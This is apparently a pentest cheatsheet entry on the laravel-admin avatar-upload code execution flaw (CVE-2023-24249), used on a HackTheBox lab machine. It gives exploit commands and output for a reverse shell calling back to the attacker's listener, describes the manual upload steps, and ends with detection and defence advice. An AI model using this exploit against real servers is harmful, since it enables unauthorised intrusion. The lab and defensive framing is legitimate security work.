Authenticated file upload RCE in laravel-admin (CVE-2023-24249)
Full command arsenal in the cheatsheetencore/laravel-admin up to version 1.8.18 does not validate the type of the file uploaded as a user's avatar, and leaves it in a directory the web server reaches. Put differently: a field meant for a photo is code execution.
The condition that defines it, and the one that decides whether it is any use, is that you have to be authenticated as an administrator. It is not an initial-access flaw: it is what turns an admin panel into a shell, so it comes after the credential, not before. On Usage the credential came from a blind SQL injection in the password-reset form and a bcrypt cracked with john.
The first step is confirming the version, and the panel publishes it itself: Laravel Admin paints an Environment box on its dashboard with the PHP version, the Laravel version and the dependencies, and encore/laravel-admin shows up there with its number. Nothing to guess (from version to vector).
git clone https://github.com/IDUZZEL/CVE-2023-24249-Exploit.git cd CVE-2023-24249-Exploit python3 exploit.py -u http://<host> -U <admin> -P <pass> -i <our-ip> -p <port>[+] Reverse shell uploaded successfully! Attempting to execute it... [+] Reverse shell executed successfully! Check your listener at 10.10.15.120:4444
The PoC does three things you can do by hand if the script fails or if you want to understand what happens: it logs into /admin, uploads a .php through the profile avatar form, and then requests over HTTP the path where it landed, which is the one the panel's own response hands back. What executes is the uploaded PHP, not the exploit.
The avatar is not the only place. Any upload field the panel exposes without validating the type works the same, and the destination path is usually given away by the interface itself when it shows the image it just saved. The limit is not the form: it is that the upload directory sits inside what the web server serves and that PHP runs there.
Requirements#
encore/laravel-admin ≤ 1.8.18 and an administrator session on the panel. An upload directory (by default under storage/ or public/uploads/) reachable over HTTP with PHP interpreted in it. Plus outbound network access from the victim to us if what you upload is a reverse shell.
How to detect it. In the web server log, the pair that has no explanation: a POST to the profile form followed, seconds later, by a GET to a .php inside the upload directory. That second GET is the detector, because an image directory never serves PHP. On the host, the PHP-FPM or web server process spawning sh, bash, python or nc as a child, and a new file with an executable extension under storage/. In the application, the admin log keeps a record: the upload is tied to the logged-in user, so the name of the account used is part of the evidence.
Defence. Update to a release later than 1.8.18. Beyond that, what removes the problem at the root is storage: uploaded files are not kept under a path served by the web server, they are kept outside and served through a controller that sets the Content-Type. If they must live there, configure the directory with PHP execution off, and validate against a whitelist of extension and real type, not against whatever the request's Content-Type claims (which belongs to the client).
Machines where it's used
- UsageHackTheBox